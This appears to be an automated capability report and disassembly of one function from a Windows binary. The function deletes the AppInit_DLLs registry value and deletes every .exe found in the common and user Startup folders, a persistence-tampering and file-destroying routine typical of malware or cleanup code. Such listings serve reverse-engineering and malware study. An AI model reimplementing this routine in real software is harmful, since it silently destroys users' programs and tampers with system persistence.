Function at 0x408820
Capabilities:
Delete file
Delete registry value
Enumerate files on windows
Move file
Persist via appinit_dlls registry key
Persist via run registry key
Query or enumerate registry value
Set file attributes

Disassembly:
sub esp, 0x254
push ebx
push ebp
mov ebx, dword [sym.imp.SHLWAPI.dll_SHGetValueA]
push esi
lea eax, [esp + 0x14]
push edi
lea ecx, [esp + 0x124]
push eax
lea edx, [esp + 0x20]
push ecx
push edx
push 0x41c208
mov ebp, 0x104
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x30], ebp
call ebx
test eax, eax
mov eax, dword [esp + 0x18]
jne 0x408873
cmp dword [esp + 0x1c], 1
jne 0x408873
test eax, eax
ja 0x408877
cmp eax, ebp
jbe 0x4088b8
lea eax, [esp + 0x124]
push eax
call fcn.0040e5fb
lea ecx, [esp + 0x128]
push 0x41c830
push ecx
call fcn.0040e585
add esp, 0xc
test eax, eax
jne 0x4088a3
cmp dword [esp + 0x18], ebp
jbe 0x4088b8
push 0x41c208
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x20]
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
push str.Common_Startup
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000002
call ebx
test eax, eax
jne 0x4089c0
cmp dword [esp + 0x10], 1
jne 0x4089c0
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
mov edx, str..exe
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ebp
lea esi, [esp + ecx + 0x20]
mov byte [esi], 0x5c
inc esi
mov eax, esi
sub edx, esi
mov cl, byte [edx + eax]
test cl, cl
je 0x40891b
mov byte [eax], cl
inc eax
dec edi
jne 0x40890c
jmp 0x40891f
test edi, edi
jne 0x408920
dec eax
mov byte [eax], 0
lea edx, [esp + 0x124]
lea eax, [esp + 0x20]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x4089bb
test byte [esp + 0x124], 0x10
jne 0x4089a1
lea edx, [esp + 0x150]
mov edi, 0x104
mov eax, esi
sub edx, esi
mov cl, byte [edx + eax]
test cl, cl
je 0x408966
mov byte [eax], cl
inc eax
dec edi
jne 0x408957
jmp 0x40896a
test edi, edi
jne 0x40896b
dec eax
lea ecx, [esp + 0x20]
push 0x80
push ecx
mov byte [eax], 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x20]
push edx
call edi
push 4
lea eax, [esp + 0x24]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [esp + 0x20]
push ecx
call edi
lea edx, [esp + 0x124]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40893d
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, 0x104
lea eax, [esp + 0x14]
lea ecx, [esp + 0x20]
push eax
lea edx, [esp + 0x14]
push ecx
push edx
push str.Startup
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
mov dword [esp + 0x2c], ebp
call ebx
test eax, eax
jne 0x408ac7
cmp dword [esp + 0x10], 1
jne 0x408ac7
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
mov edx, str..exe
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ebp
lea esi, [esp + ecx + 0x20]
mov byte [esi], 0x5c
inc esi
mov eax, esi
sub edx, esi
mov cl, byte [edx + eax]
test cl, cl
je 0x408a27
mov byte [eax], cl
inc eax
dec edi
jne 0x408a18
jmp 0x408a2b
test edi, edi
jne 0x408a2c
dec eax
mov byte [eax], 0
lea eax, [esp + 0x124]
lea ecx, [esp + 0x20]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x408ac7
test byte [esp + 0x124], 0x10
jne 0x408aad
lea edx, [esp + 0x150]
mov edi, 0x104
mov eax, esi
sub edx, esi
mov cl, byte [edx + eax]
test cl, cl
je 0x408a72
mov byte [eax], cl
inc eax
dec edi
jne 0x408a63
jmp 0x408a76
test edi, edi
jne 0x408a77
dec eax
lea edx, [esp + 0x20]
push 0x80
push edx
mov byte [eax], 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x20]
push eax
call edi
push 4
lea ecx, [esp + 0x24]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea edx, [esp + 0x20]
push edx
call edi
lea eax, [esp + 0x124]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408a49
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x254
ret